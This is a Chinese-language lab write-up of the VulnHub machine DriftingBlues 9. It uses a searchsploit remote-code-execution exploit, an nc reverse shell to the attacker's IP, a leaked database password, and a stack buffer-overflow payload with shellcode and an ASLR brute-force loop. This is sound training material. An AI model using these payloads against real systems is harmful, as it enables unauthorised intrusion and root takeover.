运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:driftingblues9(10.0.2.24)
目标:获取靶机root权限和flag
靶机下载地址:http://www.vulnhub.com/entry/driftingblues-9-final,695/
使用nmap主机发现靶机ip:10.0.2.24
使用nmap端口扫描发现靶机开放端口:80、111
访问网站,发现该网站为pPHP MicroBlog
搭建的
使用dirsearch工具进行目录爆破,发现/INSTALL.txt
文件,访问可获得信息:ApPHP MicroBlog Free版本为: 1.0.1
使用searchsploit
查找该版本的cms是否有历史漏洞,发现远程代码执行漏洞
searchsploit apphp microblog
将exp下载,运行,主机获取shell
searchsploit -m 33070.py
python2 33070.py http://10.0.2.24/index.php
反弹shell更加方便一点,使用nc反弹shell,并获取交互式shell
靶机:
nc -e /bin/bash 10.0.2.15 4444
攻击机:
nc -lvp 4444
python -c 'import pty; pty.spawn("/bin/bash")'
使用sudo -l
命令查看是否有特权命令,使用find / -perm -u=s -type f 2>/dev/null
命令查看是否有什么可疑的具有root权限的文件,查看历史命令,查看计划任务…,都没有可利用的点
翻一翻靶机文件碰碰运气,发现在/home
目录下存在clapton用户目录,没有权限访问
发现在/var/www/html/include
目录下有个数据库文件,查看发现用户名密码:clapton\yaraklitepe
猜测该数据库密码为clapton用户的密码,尝试切换clapton用户su clapton
,切换成功
访问/home/clapton
的发现一个flag和提示信息
根据提示,打开网站,发现是讲解缓冲区溢出的文章,再根据当前路径下的input
可执行文件,可以判断使用缓冲区溢出提权
额难办,没有半点pwn基础,参考网上的wp,边学边提权
首先将input程序移动到本机来(可以使用python在靶机搭建临时服务器),启动gdb使用cyclic工具(需要安装pwndbg插件)生成200个字符组成的字符串用于计算偏移量,为171
尝试在偏移量171溢出后情况,在溢出后的位置写入BBBB
r $(python -c 'print("A" * 171 + "B" * 4 )')
查看/proc/sys/kernel/randomize_va_space
发现靶机开启了ASLR
ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在靶机查看ESP寄存器的值
x/s $esp
用esp 寄存器的 0xbf99cc60替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
r $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
因为靶机开启了ASLR,Libc 随机化仅限于 8 位,所以写个循环爆破(不知道是不是这样,没理解清楚)
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
获取root目录下的flag
没有基础太难受了
参考链接:
缓冲区溢出利用——捕获eip的傻瓜式指南 - r00tgrok - 博客园 (cnblogs.com)
VulnHub-driftingblues:9_driftingblues9-CSDN博客
ASLR机制及绕过策略-栈相关漏洞libc基址泄露 - 简书 (jianshu.com)
nop sled 空操作雪橇 - 哼哼先生 - 博客园 (cnblogs.com)
红队渗透测试之Lord Of The Root——缓冲区溢出 - FreeBuf网络安全行业门户
Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL) - sainet - 博客园 (cnblogs.com)